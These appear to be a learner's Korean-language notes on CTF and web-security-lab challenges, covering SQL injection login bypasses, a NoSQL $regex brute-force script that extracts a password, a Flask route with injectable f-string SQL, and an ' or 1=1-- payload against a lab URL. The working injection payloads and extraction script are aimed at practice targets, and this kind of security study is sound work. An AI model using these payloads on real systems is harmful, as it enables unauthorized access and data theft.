취약점:
문제 해결: admin이라는 결과가 반환되도록 쿼리문 조작
정답:
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY" 뒷내용 주석처리 SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY" OR 조건을 추가하여 뒷내용이 무엇이든 admin 반환SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin" userpassword 조건에 임의 값 입력SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY" or 1을 추가하여 테이블의 모든 내용을 반환, LIMIT 이용취약점:
문제 해결:
$regex연산 이용해 데이터 검색login?uid=guest&upw[$regex]=.*login?uid[$regex]=ad.in&upw[$regex]=D.{*정답: 여러 번 쿼리 전달
```sql
import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'**{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}'**)
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
```

페이지 분석:
코드 분석:
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel='{userlevel}'")
if res:
userid = res[0]
userlevel = res[2]
print(userid, userlevel)
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
취약점: 실제로 ChatGPT에 코드를 보여주고 취약점을 분석해 봤다. 공격자가 userlevel 변수에 SQL 쿼리를 삽입할 수 있다.
문제 해결:
정답:
문제: 사용자가 데이터를 검색할 시에 다음과 같은 쿼리문으로 데이터가 전송된다고 한다: SELECT * FROM products WHERE category = 'Gifts' AND released = 1 SQL Injection을 통해 모든 데이터를 조작하는 쿼리로 조작해라.
문제 풀이:


정답: [https://0ae80050048d2bcb80f8cc5800dd001e.web-security-academy.net/filter?category=Clothing%2C+shoes+and+accessories' or 1=1--]
' or 1=1 --를 삽입하면 모든 데이터가 출력된다.